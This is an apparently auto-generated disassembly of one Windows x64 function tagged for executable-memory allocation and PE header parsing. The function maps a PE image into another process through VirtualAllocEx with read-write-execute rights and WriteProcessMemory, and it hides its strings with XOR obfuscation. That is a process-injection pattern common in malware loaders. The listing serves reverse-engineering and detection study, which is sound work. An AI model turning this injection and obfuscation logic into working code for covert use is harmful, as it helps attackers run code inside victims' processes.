Function at 0x1400e54c0
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
push rbp
push rbx
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov rax, qword [0x1402f94a8]
mov rbx, rcx
mov qword [rbp - 0x49], rcx
xor r14d, r14d
mov ecx, 0x5a4d
mov r15, rdx
cmp word [rax], cx
je 0x1400e54f7
mov edi, r14d
jmp 0x1400e5508
movsxd rdi, dword [rax + 0x3c]
add rdi, rax
cmp dword [rdi], 0x4550
cmovne rdi, r14
cmp dword [rdi], 0x4550
je 0x1400e564a
movabs rax, 0x8f582df371713fe7
movabs rcx, 0x23eb7d45b0769714
mov qword [rbp - 0x49], rax
movabs rdx, 0x68a126c054fc7dbb
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x39], rax
movabs rax, 0x64591930593e4c4e
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x31], rax
movabs rax, 0xcd5affb1386b8329
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x29], rax
movabs rax, 0xb3e8d6c623bb2244
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x21], rax
movabs rax, 0x68a126c054f653c9
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x49], rcx
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x11], rax
movabs rax, 0xa27870941e1d64c7
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 9], rax
movabs rax, 0x3c755938586c70
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 1], rax
movabs rax, 0xed2e9ad61804f709
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 7], rax
movabs rax, 0xd68cb7a34b9b562a
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0xf], rax
mov qword [rbp - 0x49], rdx
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0x17], rax
mov qword [rbp - 0x49], rcx
lea rcx, [rbp - 0x39]
mov rax, qword [rbp - 0x49]
movdqa xmm0, xmmword [rbp - 0x39]
xorps xmm0, xmmword [rbp - 9]
movdqa xmm1, xmmword [rbp - 0x29]
xorps xmm1, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [rbp - 0x19]
mov qword [rbp + 0x1f], rax
xorps xmm0, xmmword [rbp + 0x17]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmmword [rbp - 0x29], xmm1
call fcn.14006f6d0
jmp 0x1400e5b37
mov eax, dword [rdi + 0x50]
test eax, eax
jne 0x1400e5781
movabs rdx, 0x68a126c054fc7dbb
movabs rcx, 0x23eb7d45b0769714
movabs rax, 0x8f582df371713fe7
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x39], rax
movabs rax, 0x2059123855314c4e
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x31], rax
movabs rax, 0x8241eef67d7e9e7a
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x29], rax
movabs rax, 0xdca2dbcf2af6250a
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x21], rax
mov qword [rbp - 0x49], rdx
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x49], rcx
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x11], rax
movabs rax, 0xa27870941e1d64c7
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 9], rax
movabs rax, 0x3c755938586c70
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 1], rax
movabs rax, 0xed2e9ad61804f709
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 7], rax
movabs rax, 0xd68cb7a34b9b562a
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0xf], rax
mov qword [rbp - 0x49], rdx
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0x17], rax
mov qword [rbp - 0x49], rcx
lea rcx, [rbp - 0x39]
mov rax, qword [rbp - 0x49]
movdqa xmm0, xmmword [rbp - 0x39]
xorps xmm0, xmmword [rbp - 9]
movdqa xmm1, xmmword [rbp - 0x29]
xorps xmm1, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [rbp - 0x19]
mov qword [rbp + 0x1f], rax
xorps xmm0, xmmword [rbp + 0x17]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmmword [rbp - 0x29], xmm1
call fcn.14006f6d0
jmp 0x1400e5b37
mov r8, rax
mov qword [rsp + 0xa0], r13
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x1400e588b
movabs rax, 0x8f582df371713fe7
lea rcx, [rbp - 9]
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 9], rax
movabs rax, 0x64591930593e4c4e
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 1], rax
movabs rax, 0x8242f6b7386b8329
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 7], rax
movabs rax, 0xd68cbd8d2eef3749
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0xf], rax
movabs rax, 0xa27870941e1d64c7
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x39], rax
movabs rax, 0x3c755938586c70
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x31], rax
movabs rax, 0xed2e9ad61804f709
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x29], rax
movabs rax, 0xd68cb7a34b9b562a
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
movdqa xmm0, xmmword [rbp - 9]
movdqa xmm1, xmmword [rbp + 7]
xorps xmm0, xmmword [rbp - 0x39]
mov qword [rbp - 0x21], rax
xorps xmm1, xmmword [rbp - 0x29]
movdqa xmmword [rbp - 9], xmm0
movdqa xmmword [rbp + 7], xmm1
call fcn.14006f6d0
jmp 0x1400e5b2f
mov rdx, qword [0x1402f94a8]
mov r8, rdi
call fcn.1400e6680
test al, al
jne 0x1400e59d8
movabs rax, 0x8f582df371713fe7
movabs rcx, 0x23eb7d45b0769714
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x39], rax
movabs rax, 0x64591930593e4c4e
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x31], rax
movabs rax, 0x825dffa4386b8329
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x29], rax
movabs rax, 0xb9fcdaca6bfe2046
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x21], rax
movabs rax, 0x68a126ca7a8f09c9
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x19], rax
mov qword [rbp - 0x49], rcx
mov rax, qword [rbp - 0x49]
movabs rdx, 0x68a126c054fc7dbb
mov qword [rbp - 0x11], rax
movabs rax, 0xa27870941e1d64c7
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 9], rax
movabs rax, 0x3c755938586c70
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 1], rax
movabs rax, 0xed2e9ad61804f709
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 7], rax
movabs rax, 0xd68cb7a34b9b562a
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0xf], rax
mov qword [rbp - 0x49], rdx
mov rax, qword [rbp - 0x49]
mov qword [rbp + 0x17], rax
mov qword [rbp - 0x49], rcx
lea rcx, [rbp - 0x39]
mov rax, qword [rbp - 0x49]
movdqa xmm0, xmmword [rbp - 0x39]
xorps xmm0, xmmword [rbp - 9]
movdqa xmm1, xmmword [rbp - 0x29]
xorps xmm1, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x39], xmm0
movdqa xmm0, xmmword [rbp - 0x19]
mov qword [rbp + 0x1f], rax
xorps xmm0, xmmword [rbp + 0x17]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmmword [rbp - 0x29], xmm1
call fcn.14006f6d0
jmp 0x1400e5b2f
mov rdx, qword [0x1402f94a8]
mov r9, r13
mov r8, rdi
call fcn.1400e6850
test al, al
jne 0x1400e5a7d
movabs rax, 0x8f582df371713fe7
movabs rcx, 0x23eb7d45b0769714
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x39], rax
movabs rax, 0x64591930593e4c4e
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x31], rax
movabs rax, 0x825dffa4386b8329
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x29], rax
movabs rax, 0xb9e0d2d16bfe2046
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x21], rax
movabs rax, 0x46d248af3d881cd8
mov qword [rbp - 0x49], rax
mov rax, qword [rbp - 0x49]
mov qword [rbp - 0x19], rax
movabs rax, 0x23eb7d45b076971e
mov qword [rbp - 0x49], rax
jmp 0x1400e591e
movzx eax, word [rdi + 0x14]
mov qword [rsp + 0xf0], rsi
add rax, 0x28
mov esi, r14d
mov qword [rsp + 0xa8], r12
mov r12, qword [0x1402f94a8]
cmp r14w, word [rdi + 6]
jae 0x1400e5b0b
lea rbx, [rax + rdi]
nop word [rax + rax]
mov ecx, dword [rbx]
cmp dword [rbx - 8], ecx
cmovb ecx, dword [rbx - 8]
test ecx, ecx
je 0x1400e5af9
mov r10d, dword [rbx - 4]
add r10, r13
mov eax, ecx
test r15, r15
je 0x1400e5ae8
mov r8d, dword [rbx + 4]
mov r9d, eax
add r8, r12
mov qword [rsp + 0x20], r14
mov rdx, r10
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x1400e5af9
mov edx, dword [rbx + 4]
mov r8, rax
add rdx, r12
mov rcx, r10
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rdi + 6]
inc esi
add rbx, 0x28
cmp esi, eax
jl 0x1400e5ab0
mov rbx, qword [rbp - 0x49]
mov eax, dword [rdi + 0x28]
mov r12, qword [rsp + 0xa8]
add rax, r13
mov rsi, qword [rsp + 0xf0]
mov qword [rbx], rax
mov rax, qword [0x1402f94a8]
mov qword [rbx + 8], rax
mov r13, qword [rsp + 0xa0]
mov rax, rbx
add rsp, 0xb0
pop r15
pop r14
pop rdi
pop rbx
pop rbp
ret